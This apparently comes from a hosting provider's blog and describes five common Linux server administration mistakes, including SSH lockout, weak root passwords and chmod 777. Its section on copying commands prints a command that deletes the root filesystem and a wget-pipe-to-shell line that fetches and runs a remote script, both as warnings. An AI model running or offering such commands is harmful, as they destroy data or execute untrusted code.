System Administration

Five Linux Server Administration Mistakes And How To Avoid Them

In 2017, an employee at GitLab, the version control hosting platform, was asked to replicate a database of production data. Because of a configuration error, the replication did not work as expected, so the employee decided to remove the data that had been transferred and try again. He ran a command to delete the unwanted data, only to realize with mounting horror that he had entered the command into an SSH session connected to a production server, deleting hundreds of gigabytes of user data. Every seasoned system administrator can tell you a similar story.

The Linux command line gives server admins control of their servers and the data stored on them, but it does little to stop them running destructive commands with consequences that can’t be undone. Accidental data deletion is just one type of mistake that new server administrators make.

Locking the keys inside

Server administrators connect to servers with SSH, a service that usually runs on port 22, providing a log-in shell through which authenticated users can run commands on remote servers. A standard security hardening step is to configure SSH to accept connections on a different port. Moving SSH to a high-numbered random port limits the impact of brute-force attacks; hackers can’t attempt malicious logins when they can’t find the port on which SSH is listening.

However, an administrator who configures SSH to listen on a different port and then restarts the SSH server may find that it’s not only hackers who are locked out. If the server’s firewall is not also reconfigured to allow connections on the new port, attempts to connect will never reach the SSH server. The administrator will be locked out of their server with no way to fix the problem except to open a support ticket with their hosting provider. If you change the SSH port, be sure to open the new port in your server’s firewall configuration.

Choosing an easily guessed password

Brute-force attacks are a guessing game. The attacker tries many usernames and passwords until they hit on a combination that lets them in. A dictionary attack is a more refined approach that uses lists of passwords, often culled from leaked password databases. Attacks against the root account are easier than against other accounts because the attacker already knows the username. If a root account has a simple password, then it can be hacked in no time at all.

There are three ways to defend against both brute-force and dictionary attacks against the root account.

  • Choose a long and complex password. Simple passwords are easy to crack; long and complex passwords are impossible.
  • Configure SSH to disallow root logins. This is a simple configuration change, but make sure that “sudo” is configured to allow your account to elevate its privileges.
  • Use key-based authentication instead of passwords. Certificate-based logins remove the risk of brute-force attacks entirely.

Copying commands you don’t understand

Stack Exchange, Server Fault, and similar sites are a lifeline for new Linux system administrators, but you should avoid the temptation to copy and paste a shell command that you don’t understand. What is the difference between these two commands?

sudo rm -rf --no-preserve-root /mnt/mydrive/
sudo rm -rf --no-preserve-root /mnt/mydrive /

It is easy to see when they’re displayed together, but not so easy when you’re searching through forums looking for a command to delete the contents of a mounted volume. The first command deletes all files on the mounted drive. The second command deletes those files and everything on the server’s root filesystem. The only difference is the space before the final slash.

Server administrators may come across long commands with pipelines that are said to do one thing but do something else altogether. Be particularly careful with commands that download code from the internet.

wget http://example.com/verybadscript -O| sh

This command uses wget to download a script which is piped to the shell and executed. To run this safely, you must understand what the command does and also what the downloaded script does, including any code the downloaded script may itself download.

Logging in as root

While ordinary users can only alter files in their home folder, there is little that the root user cannot do on a Linux server. It can run any software, read any data, and delete any file.

Applications run by the root user have similar power. It’s convenient to be logged-in as the root user because you don’t have to “sudo” or “su” all the time, but it’s dangerous. A typo could destroy your server in seconds. Buggy software run by the root user could create a catastrophe. For day-to-day operations, log in as an ordinary user and elevate to root privileges only when necessary.

Not learning filesystem permissions

Filesystem permissions can be confusing and frustrating to new Linux users. A permission string like “drwxr-xr-x” looks meaningless at first, and permissions can stop you from modifying files and stop software doing what you want it to do.

System administrators quickly learn that chmod 777 is a magic incantation that fixes most of these problems, but it’s a terrible idea. It lets everyone with an account read, write, and execute the file. If you run that command on a web server’s directory, you’re asking to be hacked. Linux file permissions look complicated, but if you take a few minutes to learn how they work, you will discover a logical and flexible system for controlling file access.

In an era that values simple user experiences over all other factors, the Linux command line remains resolutely complex and resistant to simplification. You can’t muddle through and hope it will all be fine. It won’t be fine and you will end up with a disaster on your hands.

But if you learn the basics — file permissions, command-line tools and their options, security best practices — you can become a master of one of the most powerful computing platforms ever created.

About the author

Matthew Davis

Matthew Davis

Matthew works as a writer for Future Hosting, a leading provider of VPS hosting. He focuses on data news, cybersecurity, and web development topics. You can usually find his hiding behind a computer screen, searching for the next breaking news in the tech industry. For more great articles, check out FH's blog.